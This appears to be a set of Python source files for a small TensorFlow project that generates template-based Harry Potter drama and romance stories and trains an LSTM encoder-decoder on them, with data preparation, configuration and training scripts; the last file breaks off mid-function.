conf.n_batches, conf.input_length, conf.output_length, conf.batch_size,
test_data_dir, vocab_file, load_all_stories=False, generate_bow=True)
vocabulary_size = len(data_generator.vocab)
# inputs to the graph
input_seq = tf.placeholder(np.int64, (conf.batch_size, conf.input_length), name='input_seq')
output_seq = tf.placeholder(np.int64, (conf.batch_size, conf.output_length), name='output_seq')
choices = tf.placeholder(np.int64, (conf.batch_size,), name='choices')
output_weights = tf.placeholder(np.float32, (conf.batch_size, conf.output_length),
name='output_weights')
bow_vector = tf.placeholder(np.float32, (conf.batch_size, vocabulary_size), name='bow_input')
placeholders = (input_seq, output_seq, output_weights, bow_vector)
placeholders_decoder = (input_seq, output_seq, choices, bow_vector)
average_loss, learning_step, parameters, init_ops = \
create_training_graph(placeholders, vocabulary_size, conf.hidden_size, conf.emb_dim,
conf.n_layers, conf.learning_rate, conf.hidden_bow_dim,
use_bow=conf.use_bow)
saver = tf.train.Saver(tf.all_variables(), max_to_keep=30)
ops = create_prediction_graph(placeholders_decoder, vocabulary_size, conf.hidden_size,
conf.emb_dim, conf.n_layers, conf.hidden_bow_dim,
use_bow=conf.use_bow)
# learning phase
with tf.Session() as session:
it = 0
if not warm_start:
files_to_remove = [os.path.join(model_save_dir, f)
for f in os.listdir(model_save_dir)]
for f in files_to_remove:
os.remove(f)
with open(os.path.join(model_save_dir, 'log'), 'a') as log_file:
if warm_start and tf.train.latest_checkpoint(model_save_dir):
model_path = tf.train.latest_checkpoint(model_save_dir)
print(model_path, file=log_file)
iteration = re.search('-(\d+)$', model_path)
if iteration is not None:
it = int(iteration.group(1))
saver.restore(session, tf.train.latest_checkpoint(model_save_dir))
print('Session restored!', file=log_file)
else:
session.run(init_ops)
print('New session created!', file=log_file)
log_file.flush()
itj = 0
loss_value = 0
for _ in range(conf.n_epochs_training):
it += 1
data_generator.restart()
for x, y, bow in data_generator:
w = data_generator.get_weights(y)
feed_dict = {input_seq.name: x, output_seq.name: y, output_weights.name: w,
bow_vector.name: bow}
res = session.run([average_loss, learning_step], feed_dict=feed_dict)
loss_value += res[0]
itj += 1
if itj == 1:
print('Batch nr {}: {}'.format(itj, loss_value), file=log_file)
if itj % conf.freq_display == 0:
loss_value /= conf.freq_display
print('Batch nr {}: {}'.format(itj, loss_value), file=log_file)
log_file.flush()
loss_value = 0
test_data_perplexity = \
evaluate_with_perplexity(session, conf, test_data_generator,
(input_seq, bow_vector), ops, choices)
print('\nIteration nr {}: test data perplexity: {}\n'.format(
it, test_data_perplexity), file=log_file)
if it % conf.checkpoint_frequency == 0:
new_model_save_path = saver.save(session, model_save_path, global_step=it)
print('\nModel saved in file: {}\n'.format(new_model_save_path), file=log_file)
<file_sep>class Indexer(object):
def __init__(self, first_words=()):
self._index = {}
self._index_to_string = []
self._frozen = False
self._reference_ids = [0]
for w in first_words:
self.string_to_int(w)
def freeze(self, frozen = True):
self._frozen = frozen
def remember_state(self):
if self._frozen:
raise ValueError('Cannot remember the state of an Indexer that is frozen.')
self._reference_ids.append(len(self._index_to_string))
def string_to_int(self, string):
if string in self._index:
return self._index[string]
else:
if not self.frozen:
result = len(self._index_to_string)
self._index[string] = result
self._index_to_string.append(string)
return result
else:
raise KeyError('{} not indexed yet and indexer is frozen'.format(string))
def int_to_string(self, int):
return self._index_to_string[int]
def inv(self, string):
return self.int_to_string(string)
def __call__(self, string):
return self.string_to_int(string)
def __iter__(self):
return self._index.__iter__()
def items(self):
return self._index.items()
def ints(self, *strings):
return [self.string_to_int(string) for string in strings]
def strings(self, *ints):
return [self.int_to_string(i) for i in ints]
def __len__(self):
return len(self._index_to_string)
@property
def index(self):
return self._index
@property
def index(self):
return self._index
@property
def reference_ids(self):
return self._reference_ids
@property
def frozen(self):
return self._frozen
@property
def frozen(self):
return self._frozen
def __str__(self):
l = len(self._index_to_string)
if l > 20:
a = min(l, 10)
b = max(len(self._index_to_string) - 10, 0)
mid = ', ..., '
else:
a, b = l, l
mid = ''
return "%s(%s%s%s)" % (self.__class__.__name__,
', '.join([str(x) for x in self._index_to_string[:a]]),
mid, ', '.join([str(x) for x in self._index_to_string[b:]]))
def __repr__(self):
s = str(self)
return s + ' with references %s' % str(self._reference_ids)<file_sep>from simulation.actor import Actor
from simulation.mood import Mood
def generate_common():
model = {}
model['actor'] = [Actor('Severus', 'Snape'), Actor('Albus', 'Dumbledore'),
Actor('Harry', 'Potter'), Actor('Hermione', 'Granger', gender='female'),
Actor('Ron', 'Weasley'), Actor('<NAME>'), Actor('Dobby'),
Actor('Minerva', 'McGonagall', gender='female'),
Actor('Draco', 'Malfoy'), Actor('Sirius', 'Black'), Actor('Remus', 'Lupin')]
model['location'] = ['Greenhouse', 'Astronomy Tower', 'Potions Classroom',
'Forbidden Forest', 'Shrieking Shack', 'Hogsmeade', 'Diagon Alley', 'Grimmuald Place',
'Burrow', 'Malfoy Manor']
model['conj_adverb'] = ['Meanwhile', 'At the same time', '']
model['transition'] = ['went to', 'run to', 'apparated to',
'took a broom and flew to']
model['past_cont_action'] = ['reading', 'sleeping', 'watching stars',
'learning', 'brewing a potion', 'drinking Butter Beer', 'crying',
'inventing new spell']
model['adverb'] = ['Suddenly', 'Then', '']
model['question'] = ['What\'s wrong with you?', 'How are you?',
'How do you feel today?']
return model
def generate_world_drama():
model = generate_common()
model['interaction'] = ['hit', 'killed', 'tortured', 'left', 'hexed']
model['mood'] = [Mood.create_sad('nobody loves me'),
Mood.create_sad(),
Mood.create_sad('we are going to loose the war'),
Mood.create_sad('everything is pointless'),
Mood.create_sad('all people will die'),
Mood.create_angry('people are supid'),
Mood.create_angry(),
Mood.create_angry('nobody listen to me'),
Mood.create_angry('people don\'t respect me'),
Mood.create_angry('others treat me like a child')]
model['ending'] = ['It was a dark time for the Wizarding World.',
'In this moment the world started to fall apart.',
'The world was ending.',
'Then hell broke loose.',
'Everything was lost.']
return model
def generate_world_romance():
model = generate_common()
model['interaction'] = ['kissed', 'hugged', 'looked deep into the eyes of']
model['ending'] = ['They lived happily ever after.',
'Suddenly the world was a better place.',
'Love is powerful indeed.']
model['recognition'] = ['saw', 'spotted', 'recognized', 'noticed']
return model
<file_sep>from learning.configs import BasicConfig
from learning.encdec_learn import train_model
import argparse
import os
import sys
def main():
conf = BasicConfig()
parser = argparse.ArgumentParser()
parser.add_argument('data_dir', help='Directory containing data.'
' It\'s structure should be the same as the one of the '
'output directory from prepare_data.py.')
parser.add_argument('saved_model_dir', help='Output directory for the trained model.')
parser.add_argument('--warm_start', help='Continue training if model already exists.',
action='store_true')
parser.add_argument('--use_bow',
help='Use the whole context\'s bag-of-words as an initial encoder state.',
action='store_true')
parser.add_argument('--batch_size', help='Number of batches for stochastic optimization step.',
type=int, default=conf.batch_size)
parser.add_argument('--emb_dim', help='Dimension of words embeddings.',
type=int, default=conf.emb_dim)
parser.add_argument('--hidden_size', help='Hidden dimension of LSTM cell.',
type=int, default=conf.hidden_size)
parser.add_argument('--hidden_bow_dim', help='Hidden dimension of bag-of-words state.',
type=int, default=conf.hidden_bow_dim)
parser.add_argument('--input_length', help='Number of words from context used by encoder.',
type=int, default=conf.input_length)
parser.add_argument('--output_length', help='Number of words used by decoder.',
type=int, default=conf.output_length)
parser.add_argument('--n_epochs_training', help='Number of epochs in training.',
type=int, default=conf.n_epochs_training)
parser.add_argument('--freq_display',
help='Frequency (nr of batches) of error and perplexity logging.',
type=int, default=conf.freq_display)
parser.add_argument('--n_layers', help='Number of layers.',
type=int, default=conf.n_layers)
parser.add_argument('--checkpoint_frequency', help='Frequency (nr of epochs) of saving model.',
type=int, default=conf.checkpoint_frequency)
parser.add_argument('--learning_rate', help='Learning rate.',
type=int, default=conf.learning_rate)
args = parser.parse_args()
conf.use_bow = args.use_bow
conf.batch_size = args.batch_size
conf.emb_dim = args.emb_dim
conf.hidden_size = args.hidden_size
conf.hidden_bow_dim = args.hidden_bow_dim
conf.input_length = args.input_length
conf.output_length = args.output_length
conf.n_epochs_training = args.n_epochs_training
conf.freq_display = args.freq_display
conf.n_layers = args.n_layers
conf.checkpoint_frequency = args.checkpoint_frequency
conf.learning_rate = args.learning_rate
if not os.path.exists(args.data_dir):
print('Data directory {} does not exist!'.format(args.data_dir))
sys.exit(1)
if not os.path.exists(args.saved_model_dir):
os.makedirs(args.saved_model_dir)
print('Directory {} created!'.format(args.saved_model_dir))
train_model(conf, args.data_dir, args.saved_model_dir, warm_start=args.warm_start)
if __name__ == '__main__':
main()
<file_sep>from simulation.generate_story import tokenize
from learning.create_vocabulary import create_vocab
import argparse
import os
import random
import shutil
import sys
def main():
parser = argparse.ArgumentParser()
parser.add_argument('stories_dir', help='Directory containing stories.')
parser.add_argument('output_dir', help='Output directory for processed data.')
parser.add_argument('vocabulary_size', help='Size of vocabulary to create.',
type=int)
parser.add_argument('validation_set_size', help='Number of stories for validation set.',
type=int)
args = parser.parse_args()
if not os.path.exists(args.stories_dir):
print('Directory {} does not exist!'.format(args.stories_dir))
sys.exit(1)
if not os.path.exists(args.output_dir):
os.makedirs(args.output_dir)
print('Output directory {} created!'.format(args.output_dir))
output_stories_dir = os.path.join(args.output_dir, 'stories')
if not (os.path.exists(output_stories_dir) and os.path.isdir(output_stories_dir)):
os.makedirs(output_stories_dir)
for s_file in os.listdir(args.stories_dir):
with open(os.path.join(args.stories_dir, s_file)) as fr:
story = fr.read()
tokenized_story = tokenize(story)
with open(os.path.join(output_stories_dir, s_file), 'w') as fw:
fw.write(tokenized_story)
create_vocab(args.output_dir, args.vocabulary_size)
validation_stories_dir = os.path.join(args.output_dir, 'test/stories')
if not (os.path.exists(validation_stories_dir) and os.path.isdir(validation_stories_dir)):
os.makedirs(validation_stories_dir)
stories = [os.path.join(output_stories_dir, f) for f in os.listdir(output_stories_dir)]
random.shuffle(stories)
for i in range(min(args.validation_set_size, len(stories))):
shutil.move(stories[i], validation_stories_dir)
if __name__ == '__main__':
main()
<file_sep>import re
import random as rd
import simulation.generate_world as gw
from simulation.mood import Mood
from nltk import sent_tokenize, word_tokenize
class StoryGenerator(object):
def __init__(self, world):
self.world = world
def get_random_value(self, key):
return self.world[key][rd.randint(0, len(self.world[key]) - 1)]
def generate_drama_story(self):
story = []
actor1 = self.get_random_value('actor')
actor2 = self.get_random_value('actor')
while actor2 == actor1:
actor2 = self.get_random_value('actor')
# actor1 is leading
story.append((actor1.pc_action_in(self.get_random_value('past_cont_action'),
self.get_random_value('location'))))
actor1.is_leading = True
actor1.change_mood(self.get_random_value('mood'), '')
story.append(actor1.mood_elaborate())
loc2 = self.get_random_value('location')
while loc2 == actor1.location:
loc2 = self.get_random_value('location')
story.append(actor1.go_to(loc2, self.get_random_value('transition')))
actor1.is_leading = False
# actor2 appears
story.append('{} {}'.format(self.get_random_value('conj_adverb'),
actor2.pc_action_in(
self.get_random_value('past_cont_action'), loc2)))
story.append(actor2.ask_question(actor1, self.get_random_value('question')))
story.append(actor1.mood_statement())
story.append(actor2.change_mood(self.get_random_value('mood')))
actor2.is_leading = True
story.append(actor2.make_dialog(actor1))
actor2.is_leading = False
# interaction
story.append(actor1.interact(self.get_random_value('interaction'), actor2))
story.append(actor1.mood_action())
story.append(self.get_random_value('ending'))
return [u for s in story for u in s.split('\n')] # remove '\n'
def generate_romance_story(self):
story = []
actor1 = self.get_random_value('actor')
actor2 = self.get_random_value('actor')
while (actor2 == actor1):
actor2 = self.get_random_value('actor')
# actor1 is in love
story.append(actor1.pc_action_in(self.get_random_value('past_cont_action'),
self.get_random_value('location')))
actor1.is_leading = True
actor1.change_mood(Mood.create_in_love(actor2.firstname))
story.append(actor1.mood_elaborate())
loc2 = self.get_random_value('location')
while loc2 == actor1.location:
loc2 = self.get_random_value('location')
story.append(actor1.go_to(loc2, self.get_random_value('transition')))
actor1.is_leading = False
# actor2 appears, feels lonely
story.append('{} {}'.format(self.get_random_value('conj_adverb'),
actor2.pc_action_in(
self.get_random_value('past_cont_action'), loc2)))
story.append(actor2.change_mood(Mood.create_lonely()))
actor2.is_leading = True
story.append(actor2.mood_statement())
# actor2 sees actor1
actor2.is_leading = False
story.append('{} {} {} {}.'.format(self.get_random_value('adverb'),
actor2.get_name(),
self.get_random_value('recognition'),
actor1.get_name()))
actor2.is_leading = True
story.append(actor2.ask_question(actor1, self.get_random_value('question')))
actor2.is_leading = False
story.append(actor1.make_dialog(actor2))
# interaction
story.append(actor1.interact(self.get_random_value('interaction'), actor2))
story.append(actor2.change_mood(Mood.create_happy()))
story.append(actor2.mood_action())
story.append(actor2.mood_statement())
story.append(self.get_random_value('ending'))
# return [u for s in story for u in s.split('\n')] # remove '\n'
return story
def tokenize(story):
sentences = sent_tokenize(story)
output_lines = []
for s in sentences:
pattern = r"'[A-Z]"
nltk_tokens = word_tokenize(s)
tokens = []
for t in nltk_tokens:
if re.match(pattern, t):
# print(t)
tokens.append(t[0])
tokens.append(t[1:])
else:
tokens.append(t)
output_lines.append(str.join(' ', tokens))
return str.join('\n', output_lines)
def generate_stories(n, do_tokenize=True):
stories = []
for _ in range(n):
if rd.randint(0, 1) == 1:
# generate drama
world = gw.generate_world_drama()
generator = StoryGenerator(world)
story_lines = generator.generate_drama_story()
else:
world = gw.generate_world_romance()
generator = StoryGenerator(world)
story_lines = generator.generate_romance_story()
story = str.join('\n', story_lines)
if do_tokenize:
stories.append(tokenize(story))
else:
stories.append(story)
return stories
<file_sep>import numpy as np
import tensorflow as tf
def batch_same_matmul(batched_vectors, mat, transpose_b=False):
dims = [a.value for a in batched_vectors.get_shape()]
if transpose_b:
final_dim = mat.get_shape()[0].value
else:
final_dim = mat.get_shape()[-1].value
unfolded_length = np.prod(dims[:-1])
return tf.reshape(tf.matmul(tf.reshape(batched_vectors, (unfolded_length, dims[-1])),
mat, transpose_b=transpose_b),
dims[:-1] + [final_dim])
def repeat_tensor(tensor, n_repeats, start_dim=0):
if isinstance(n_repeats, int):
n_repeats = (n_repeats,)
dims = tuple(a.value for a in tensor.get_shape())
tmp = tf.reshape(tensor, dims[:start_dim] + (1,) * len(n_repeats) + dims[start_dim:])
return tf.tile(tmp, (1,) * start_dim + n_repeats + (1,) * (len(dims) - start_dim))
def softmax_loss(scores, indices):
n_dims = len(scores.get_shape())
return -select_entries(scores, indices) + reduce_log_sum_exp(scores, n_dims - 1)
def softmax(mat, reduction_indices=None, name=None):
return tf.exp(log_softmax(mat, reduction_indices=reduction_indices), name=name)
def log_softmax(mat, reduction_indices=None, name=None):
if reduction_indices is None:
reduction_indices = [0] * len(mat.get_shape())
n_rep = mat.get_shape()[reduction_indices].value
lse = reduce_log_sum_exp(mat, reduction_indices=reduction_indices)
probas = mat - repeat_tensor(lse, n_rep, reduction_indices)
return tf.identity(probas, name=name)
def reduce_log_sum_exp(mat, reduction_indices=None, safe=True):
dims = tuple(a.value for a in mat.get_shape())
if not safe:
return tf.log(tf.reduce_sum(tf.exp(mat), reduction_indices=reduction_indices))
else:
maxi = tf.reduce_max(mat, reduction_indices=reduction_indices)
maxi_rep = repeat_tensor(maxi, dims[reduction_indices], reduction_indices)
return tf.log(tf.reduce_sum(tf.exp(mat - maxi_rep), reduction_indices=reduction_indices)) + maxi
def select_entries(tensor, idx):
"""
Select entries in a tensor
This is similar to the gather operator, but it selects one value at a time
Args:
tensor: 3d tensor from which values are extracted
idx: 2d array of indices corresponding to the last dimension of the tensor
Returns:
the operator output which selects the right entries: output[i,j] = tensor[i, j, idx[i,j]]
"""
mat_dims = tuple(a.value for a in tensor.get_shape())
k = mat_dims[-1]
idx_dims = tuple(a.value for a in idx.get_shape())
if mat_dims[:-1] != idx_dims:
raise ValueError("Value tensor has size {0} does not begin as the index tensor which has size {1}".format(
mat_dims, idx_dims
))
mat_reshaped = tf.reshape(tensor, (np.prod(mat_dims),))
shifts1 = np.dot(np.ones((idx_dims[0], 1)), np.reshape(np.arange(0, idx_dims[1]), (1, -1))) * k
shifts2 = np.dot(np.reshape(np.arange(0, idx_dims[0]), (-1, 1)), np.ones((1, idx_dims[1]))) * k * mat_dims[-2]
# print(mat_dims, np.prod(mat_dims))
# print(shifts1, shifts2)
# print(mat_reshaped.get_shape())
idx_reshaped = idx + tf.constant(shifts1 + shifts2, np.int64)
return tf.gather(mat_reshaped, idx_reshaped)
def scan(transition, inputs, initial_states, scope_name="scan", reuse=None, include_first=None):
"""
Unfold a RNN by recursively applying a recurrent unit
Args:
transition: the transition function of the RNN. An instance of rnn_cell tensorflow class.
When called with two arguments (input, state), it returns a graph and return a
pair (output, state)
inputs: the inputs of the transition. Of size (batch_size, length) or (batch_size, length, input_size) for
multi-dimensional inputs
initial_states: initial states of the rnn. Must be of size (batch_size, rnn_state_size)
scope_name: name of the scope for the variables inside the RNN
reuse: should the variable be reused from a previously created graph?
include_first: if given, must be the initial output of size (batch_size, rnn_output_size) and append the initial
state and initial_output at the beginning of the resulting tensors
Returns:
A pair (states, outputs):
- states are the concatenated internal states of the units and has size
(batch_size, length, rnn_state_size)
- ouputs are the concatenated outputs of the units and has size
(batch_size, length, rnn_output_size)
"""
if len(inputs.get_shape()) == 2: # one dimensional input
batch_size, input_length = [a.value for a in inputs.get_shape()]
input_size = 1
else:
batch_size, input_length, input_size = [a.value for a in inputs.get_shape()]
batch_size, state_size = [a.value for a in initial_states.get_shape()]
cur_states = initial_states
if include_first is not None:
output_size = include_first.get_shape()[-1].value
states = [tf.reshape(initial_states, (batch_size, 1, state_size))]
outputs = [tf.reshape(include_first, (batch_size, 1, output_size))]
else:
states = []
outputs = []
output_size = None
for i in range(input_length):
with tf.variable_scope(scope_name, reuse=(i > 0) or reuse):
if input_size == 1:
cur_outputs, cur_states = transition(inputs[:, i], cur_states)
else:
cur_outputs, cur_states = transition(inputs[:, i, :], cur_states)
if output_size is None:
output_size = cur_outputs.get_shape()[-1].value
states.append(tf.reshape(cur_states, (batch_size, 1, state_size)))
outputs.append(tf.reshape(cur_outputs, (batch_size, 1, output_size)))
all_states = tf.concat(1, states)
all_outputs = tf.concat(1, outputs)
return all_states, all_outputs
<file_sep>import random as rd
class Mood(object):
ANGRY = 'angry'
SAD = 'sad'
HAPPY = 'happy'
IN_LOVE = 'in love'
LONELY = 'lonely'
DIZZY = 'dizzy'
ANXIOUS = 'anxious'
DELIRIOUS = 'delirious'
def __init__(self, name, reason, statements=[], actions=[], dialogs=[]):
self.name = name
self.reason = reason
self.statements = statements
self.actions = actions
self.dialogs = dialogs
@staticmethod
def create_angry(reason='everything is simply wrong'):
statements = ['I hate all Wizarding World!', 'I\'m so angry!', 'I hate humanity!',
'Everything is so annoying!', 'Why all people are so stupid?',
'I despise all people I know.']
stats = ['I hate all Wizarding World', 'I\'m so angry']
statements_reason = ['{} because {}!'.format(s, reason) for s in stats]
statements += statements_reason
actions = ['slammed the door', 'hit the wall', 'started to shout incoherently']
dialogs = ['I hate you!', 'You are such a bastard!', 'Why are you even here?',
'I despise you.', 'You are so annoying!', 'I can\'t stand you!',
'Go away or I will kill you.', 'Are you here just to make me angry?']
return Mood(Mood.ANGRY, reason, statements, actions, dialogs)
@staticmethod
def create_sad(reason='everything is simply wrong'):
statements = ['Why the world is so unfair?', 'I\'m so sad!', 'I can\'t stand it anymore!',
'I\'m so miserable!', 'My life is a disaster.',
'Why the world punish me so hard?!', 'I\'d rather die than live this way!']
stats = ['I\'m so sad', 'My life is hell', 'I\'m so miserable']
statements_reason = ['{} because {}.'.format(s, reason) for s in stats]
statements += statements_reason
actions = ['cried quietly', 'decided to commit suicide', 'wept',
'sat motionless on a floor',
'lay down on a ground and didn\'t want to move']
dialogs = ['Don\'t trouble yourself, I\'m the lost case anyway.',
'You are a good person and I will burn in hell.',
'Don\'t waste your time on me.',
'We will die sooner or later, so why even bother?',
'Why do you want to talk to such a looser as me?',
'Memento mori.']
return Mood(Mood.SAD, reason, statements, actions, dialogs)
@staticmethod
def create_happy(reason='the world is beautiful'):
statements = ['I\'m so happy!', 'My life is wonderful!', 'I\'m so lucky!',
'I\'m the happiest person on Earth.']
stats = ['I\'m so happy', 'I\'m so lucky', 'My life is beautiful']
statements_reason = ['{} because {}.'.format(s, reason) for s in stats]
statements += statements_reason
actions = ['started to dance', 'laughed loudly',
'started to sing cheerful songs']
dialogs = ['Don\'t worry!', 'Think of all good things in your life.',
'Look at the stars, they are beautiful.', 'You are a perfect friend.',
'Can you dance with me?']
return Mood(Mood.HAPPY, reason, statements, actions, dialogs)
@staticmethod
def create_in_love(reason='God'):
statements = ['I love {} so much!'.format(reason),
'{} is the most perfect person I\'ve ever met.'.format(reason),
'{} is so beautiful!'.format(reason),
'I can\'t imagine my life without {}.'.format(reason)]
actions = ['wrote a love poem',
'starred into a void with dreamy eyes',
'started to sing romantic songs',
'sighed heavily']
dialogs = ['I love you so much!', 'For me, you are perfect.',
'Would you marry me?', 'I dream of you every night',
'I can\'t live without you anymore']
return Mood(Mood.IN_LOVE, reason, statements, actions, dialogs)
@staticmethod
def create_lonely(reason='nobody loves me'):
statements = ['I\'m so lonely!', 'I\'m trapped in my solitude.',
'Nobody cares if I live or die.', 'My loneliness is so miserable.',
'Why people avoid me?', 'Nobody loves me!']
actions = ['cried quietly', 'decided to commit suicide', 'wept',
'sat motionless on a floor',
'lay down on a ground and didn\'t want to move']
dialogs = ['You don\'t understand me anyway.', 'I know you don\'t care about me.',
'Leave me alone and stop pretending that you care.',
'I don\'t need your sympathy.']
return Mood(Mood.LONELY, reason, statements, actions, dialogs)
def get_random_action(self):
r = rd.randint(0, len(self.actions) - 1)
return self.actions[r]
def get_random_statement(self):
r = rd.randint(0, len(self.statements) - 1)
return self.statements[r]
def get_random_question(self):
r = rd.randint(0, len(self.questions) - 1)
return self.questions[r]
def get_random_dialog(self):
r = rd.randint(0, len(self.dialogs) - 1)
return self.dialogs[r]
<file_sep>import numpy as np
import tensorflow as tf
from models.utils import batch_same_matmul, scan, softmax_loss
from tensorflow.python.ops.rnn_cell import MultiRNNCell, LSTMCell, InputProjectionWrapper, \
EmbeddingWrapper
def stacked_rnn_step(input_vocabulary_size, hidden_size=13, emb_dim=11, n_layers=2,
variable_scope='encdec'):
with tf.variable_scope(variable_scope, reuse=None):
rnn_cell = MultiRNNCell([LSTMCell(hidden_size)] * n_layers) # stacked LSTM
proj_wrapper = InputProjectionWrapper(rnn_cell, emb_dim)
embedding_wrapper = EmbeddingWrapper(proj_wrapper, input_vocabulary_size, emb_dim)
return embedding_wrapper
def rnn_encoder(input_seq, rnn_step, initial_states, use_bow):
batch_size, input_length = [v.value for v in input_seq.get_shape()]
if not use_bow:
initial_states = rnn_step.zero_state(batch_size, dtype=np.float32)
full_state_dim = initial_states.get_shape()[-1].value
initial_states.set_shape((batch_size, full_state_dim))
encoded_states, encoded_outputs = scan(rnn_step, input_seq, initial_states)
final_encoded_states = encoded_states[:, input_length - 1, :]
final_encoded_outputs = encoded_outputs[:, input_length - 1, :]
return final_encoded_states, final_encoded_outputs
def create_training_graph(placeholders, vocabulary_size, hidden_size=13, emb_dim=11,
n_layers=2, learning_rate=0.01, hidden_bow_dim=3,
use_bow=True):
# inputs to the graph
input_seq, output_seq, output_weights, bow_vectors = placeholders
# batch_size, input_length = [v.value for v in input_seq.get_shape()]
batch_size, output_length = [v.value for v in output_seq.get_shape()]
with tf.variable_scope('modelXYZ', reuse=None):
multiplier = 2 * n_layers
bow_projection_variable_1 = tf.get_variable("bow_projection_variable_1",
(vocabulary_size, hidden_bow_dim), np.float32,
tf.random_normal_initializer())
bow_projection_variable_2 = tf.get_variable("bow_projection_variable_2",
(hidden_bow_dim, hidden_size), np.float32,
tf.random_normal_initializer())
bow_hidden_states = tf.matmul(bow_vectors, bow_projection_variable_1)
initial_states = tf.matmul(bow_hidden_states, bow_projection_variable_2)
initial_states = tf.tile(initial_states, (1, multiplier))
rnn_step = stacked_rnn_step(vocabulary_size, hidden_size, emb_dim, n_layers,
variable_scope='encoder')
final_encoded_states, final_encoded_outputs = \
rnn_encoder(input_seq, rnn_step, initial_states, use_bow)
rnn_step_decoder = stacked_rnn_step(vocabulary_size, hidden_size, emb_dim, n_layers,
variable_scope='decoder')
# rnn_step_decoder = rnn_step
decoder_states, decoder_outputs = scan(rnn_step_decoder, output_seq[:, 0:output_length - 1],
final_encoded_states,
include_first=final_encoded_outputs, reuse=True)
output_projection_variable = tf.get_variable("output_projection_variable",
(hidden_size, emb_dim), np.float32,
tf.random_normal_initializer())
with tf.variable_scope('scan', reuse=True):
embeddings_variable = tf.get_variable("EmbeddingWrapper/embedding")
proj_outputs = batch_same_matmul(decoder_outputs, output_projection_variable)
output_word_scores = batch_same_matmul(proj_outputs,
embeddings_variable[:vocabulary_size, :],
transpose_b=True)
losses_matrix = softmax_loss(output_word_scores, output_seq)
if output_weights is not None:
losses_matrix = losses_matrix * output_weights
losses = tf.reduce_sum(losses_matrix, 1)
average_loss = tf.reduce_mean(losses)
parameters = tf.trainable_variables()
# learning by gradient descent
optimizer = tf.train.AdamOptimizer(learning_rate=learning_rate)
learning_step = optimizer.minimize(average_loss)
init_ops = tf.initialize_all_variables()
return average_loss, learning_step, parameters, init_ops
def create_prediction_graph(placeholders, vocabulary_size, hidden_size=13, emb_dim=11,
n_layers=2, hidden_bow_dim=3, use_bow=True):
# inputs to the graph
input_seq, output_seq, choices, bow_vectors = placeholders
# batch_size, input_length = [v.value for v in input_seq.get_shape()]
batch_size, _ = [v.value for v in output_seq.get_shape()]
with tf.variable_scope('modelXYZ', reuse=True):
full_state_dim = 2 * hidden_size * n_layers
multiplier = 2 * n_layers
bow_projection_variable_1 = tf.get_variable("bow_projection_variable_1",
(vocabulary_size, hidden_bow_dim), np.float32,
tf.random_normal_initializer())
bow_projection_variable_2 = tf.get_variable("bow_projection_variable_2",
(hidden_bow_dim, hidden_size), np.float32,
tf.random_normal_initializer())
bow_hidden_states = tf.matmul(bow_vectors, bow_projection_variable_1)
initial_states = tf.matmul(bow_hidden_states, bow_projection_variable_2)
initial_states = tf.tile(initial_states, (1, multiplier))
rnn_step = stacked_rnn_step(vocabulary_size, hidden_size, emb_dim, n_layers,
variable_scope='encoder')
final_encoded_states, final_encoded_outputs = \
rnn_encoder(input_seq, rnn_step, initial_states, use_bow)
# prediction
decoder_state = tf.Variable(np.zeros((batch_size, full_state_dim)),
dtype=np.float32, name='decoder_state')
decoder_output = tf.Variable(np.zeros((batch_size, hidden_size)),
dtype=np.float32, name='decoder_output')
current_observation = tf.Variable(np.zeros((batch_size,)),
dtype=np.int64, name='current_observation')
output_projection_variable = tf.get_variable("output_projection_variable",
(hidden_size, emb_dim), np.float32,
tf.random_normal_initializer())
proj_output = batch_same_matmul(decoder_output, output_projection_variable)
embeddings_variable = tf.get_variable("scan/EmbeddingWrapper/embedding")
decoder_prediction = batch_same_matmul(proj_output,
embeddings_variable[:vocabulary_size, :],
transpose_b=True)
rnn_step_decoder = stacked_rnn_step(vocabulary_size, hidden_size, emb_dim, n_layers,
variable_scope='decoder')
# rnn_step_decoder = rnn_step
with tf.variable_scope('scan', reuse=True):
new_output, new_state = rnn_step_decoder(current_observation, decoder_state)
decoder_init_op1 = tf.assign(decoder_state, final_encoded_states)
decoder_init_op2 = tf.assign(decoder_output, final_encoded_outputs)
decoder_step_op1 = tf.assign(decoder_state, new_state)
decoder_step_op2 = tf.assign(decoder_output, new_output)
decoder_step_op3 = tf.assign(current_observation, tf.arg_max(decoder_prediction, 1))
decoder_step_op4 = tf.assign(current_observation, choices)
decoder_step_op5 = tf.nn.softmax(decoder_prediction)
return decoder_init_op1, decoder_init_op2, decoder_step_op1, decoder_step_op2, \
decoder_step_op3, decoder_step_op4, decoder_step_op5
<file_sep>import numpy as np
import re
class BasicConfig(object):
def __init__(self):
self.batch_size = 15
self.n_batches = np.inf # for FixedGenerator it will use all data in directory
self.emb_dim = 17
self.hidden_size = 101 # 101
self.hidden_bow_dim = 10 # 20
self.input_length = 60 # 80 # maximum length of an input sentence
self.output_length = 30 # maximum length of an input sentence
self.n_epochs_training = 30
self.freq_display = 50
self.n_layers = 1
self.checkpoint_frequency = 10
self.learning_rate = 0.01
self.use_bow = False
def to_string(self):
name = 'config_{0}_{1}_{2}_{3}_{4}_{5}_{6}'.format(
self.hidden_bow_dim, self.emb_dim,
self.hidden_size, self.input_length, self.output_length, self.n_layers,
self.use_bow
)
return name
def parse_config_from_model_name(self, model_name):
pattern = "config_(\d+)_(\d+)_(\d+)_(\d+)_(\d+)_(\d+)_(True|False)"
p = re.compile(pattern)
m = p.search(model_name)
groups = m.groups()
if len(groups) != 7:
raise(ValueError("Model name doesn't match expected pattern."))
self.hidden_bow_dim = int(groups[0])
self.emb_dim = int(groups[1])
self.hidden_size = int(groups[2])
self.input_length = int(groups[3])
self.output_length = int(groups[4])
self.n_layers = int(groups[5])
if groups[6] == 'True':
self.use_bow = True
else:
self.use_bow = False
<file_sep>import random as rd
class Actor(object):
def __init__(self, firstname, surname='', gender='male', house=None, items=[]):
self.firstname = firstname
self.surname = surname
self.fullname = '{} {}'.format(firstname, surname)
self.gender = gender
self.house = house
self.items = items
self.mood = None
self.love = None
self.location = None
self.state = None
self.is_leading = False
def __eq__(self, other):
if isinstance(other, self.__class__):
return self.__dict__ == other.__dict__
else:
return False
def get_pronoun(self, uppercase=True):
if self.gender == 'male':
if uppercase:
return 'He'
else:
return 'he'
else:
if uppercase:
return 'She'
else:
return 'she'
def get_name(self, uppercase=True):
r = rd.random()
if self.is_leading:
if r < 0.5:
return self.get_pronoun(uppercase)
else:
return self.firstname
else:
if r < 0.6:
return self.firstname
elif r < 0.7:
if self.surname != '':
return self.surname
else:
return self.firstname
else:
return self.fullname
def interact(self, interaction, actor):
return '{} {} {}.'.format(self.get_name(), interaction, actor.get_name())
def change_mood(self, mood, adverb=''):
self.mood = mood
uppercase = True
if adverb != '':
